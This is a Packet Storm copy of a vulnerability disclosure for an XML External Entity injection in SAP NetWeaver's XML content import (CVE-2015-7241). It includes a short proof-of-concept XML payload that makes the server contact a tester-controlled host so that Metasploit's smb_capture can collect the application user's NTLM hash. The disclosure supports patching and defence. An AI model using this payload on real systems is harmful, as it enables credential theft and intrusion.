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packetstormLukasz MiedzinskiPACKETSTORM:133627
HistorySep 21, 2015 - 12:00 a.m.

SAP Netweaver XML External Entity Injection

2015-09-2100:00:00
Lukasz Miedzinski
packetstormsecurity.com
18

0.008 Low

EPSS

Percentile

81.3%

`Title: SAP Netwaver - XML External Entity Injection  
Author: Lukasz Miedzinski  
GPG: Public key provided in attachment  
Date: 29/10/2014  
CVE: CVE-2015-7241  
  
Affected software :  
===================  
  
SAP Netwear : <7.01  
  
Vendor advisories (only for customers):  
===================  
External ID : 851975 2014  
Title: XML External Entity vulnerability in SAP XML Parser  
Security Note: 2098608  
Advisory Plan Date: 12/5/2014  
Delivery date of fix/Patch Day: 10/2/2014  
CVSS Base Score: 5.5  
CVSS Base Vector: AV:N/AC:L/AU:S/C:P/I:N/A:P  
  
  
Description :  
=============  
XML External Entity Injection vulnerability has been found in the XML  
parser in the System  
  
Administration->XML Content and Actions -> Import section.  
  
  
Vulnerabilities :  
*****************  
  
XML External Entity Injection :  
======================  
  
  
Example show how pentester is able to get NTLM hash of application's user.  
  
Content of file (PoC) :  
  
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE root [  
<!ENTITY % remote SYSTEM "file:////Tester.IP/test"> %remote; %param1; ]>  
<root/>  
  
When pentester has metasploit smb_capture module run, then application  
will contatc him and provide  
  
NTLM hash of user.  
  
  
Contact :  
=========  
  
Lukasz[dot]Miedzinski[at]gmail[dot]com  
`

0.008 Low

EPSS

Percentile

81.3%